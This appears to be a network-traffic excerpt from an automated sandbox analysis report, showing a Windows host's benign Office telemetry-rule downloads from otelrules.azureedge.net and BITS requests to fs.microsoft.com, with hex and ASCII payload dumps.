MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 20:59:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:27 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205927Z-15b8b599d8885prmhC1TEBsnkw00000003k000000000bshd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:27 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205927Z-174c587ffdfl22mzhC1TEBk40c00000003qg000000001tmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 3eb19cd4-801e-00ac-194b-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205927Z-15b8b599d885ffrhhC1TEBtuv000000003h000000000a6e1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:27 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205927Z-178bfbc474bp8mkvhC1NYCzqnn00000004s000000000h918 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49775	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:27 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 20:59:28 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=218044 Date: Sat, 23 Nov 2024 20:59:27 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:27 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: db42c49d-901e-007b-4a2f-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205928Z-178bfbc474bgvl54hC1NYCsfuw00000004y000000000dmg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:29 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:29 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205929Z-178bfbc474bw8bwphC1NYC38b400000004ug000000009wph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:29 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49784	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:29 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 20:59:30 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=218020 Date: Sat, 23 Nov 2024 20:59:29 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 20:59:30 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:29 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 76e93f39-101e-0034-5559-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205929Z-178bfbc474bwh9gmhC1NYCy3rs0000000540000000005vg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:29 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 79192ebf-401e-0035-7e68-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205930Z-178bfbc474bscnbchC1NYCe7eg000000054000000000bq8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:29 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205930Z-174c587ffdfcj798hC1TEB9bq400000003fg00000000tr4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205930Z-174c587ffdfx984chC1TEB676g00000003k00000000018pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:30 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:31 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
